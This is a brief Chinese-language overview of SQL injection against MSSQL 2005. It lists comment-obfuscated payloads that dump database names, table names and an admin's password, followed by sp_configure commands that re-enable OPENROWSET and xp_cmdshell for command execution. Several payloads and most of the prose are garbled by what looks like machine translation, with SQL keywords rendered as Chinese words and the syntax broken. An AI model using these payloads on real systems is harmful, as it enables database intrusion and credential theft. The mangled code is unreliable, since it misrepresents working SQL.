对MSSQL2005注射方法综述

爆炸性的银行报表，改变一部分的红色猜测部分。
/**/and/**/ (select/**/top/**/1/**/isnull (cast ({name}/**/as/**/nvarchar (500)), char (32))+char (124) /**/from/**/{master}.{dbo}.{sysdatabases}/**/where/**/dbid/**/in/**/ (select/**/top/**/1/**/dbid/**/from/**/{master}.{dbo}.{sysdatabases}/**/order/**/by/**/dbid/**/desc))=0--

引爆的somedb部分语句，数据库要上市，红1号积累
/ / / * * /（选择 / * / / /顶* 1 / * * /演员（姓名 / * / / * * / varchar（200）） / * / / * * /（选择 / * / / /顶* 1 / * * /名称 / * / / * * / somedb。系统all_objects / / / * * / % 3dchar型（85） / / / *以* / / * * /名称） / * / / / / *以* / / / / *姓名* /降序）% 3D0—。

爆炸现场的声明，用户= 'icerover'in爆表admin密码部分
/**/And/**/ (Select/**/Top/**/1/**/isNull (cast ({password}/**/as/**/varchar (2000)), char (32))+char (124) /**/From/**/ (Select/**/Top/**/1/**/{password}/**/From/**/{somedb}..{admin}/**/Where/**/user='icerover'/**/Order/**/by/**/{password}) /**/T/**/Order/**/by/**/{password}Desc=0--)

MSSQL2005默认不开放xp_cmdshell，和openrowset不能使用
如果是SA权限，它可以像这样打开

打开OPENROWSET
exec / * * / sp_configure / * / / / 'show **先进 / * * /选项， / * * / 1；配置；—
exec / * * / sp_configure / * / / / 'ad *特设 / * / / / *分布式查询， / * * / 1；配置；—

打开xp_cmdshell
exec / * * / sp_configure / * / / / 'ad *特设 / * / / / *分布式查询，1；配置；—
exec / * * / sp_configure / * / / / 'show **先进 / * * /选项，1；配置；执行 / * / / / * sp_configure 'xp_cmdshell '，1；配置；—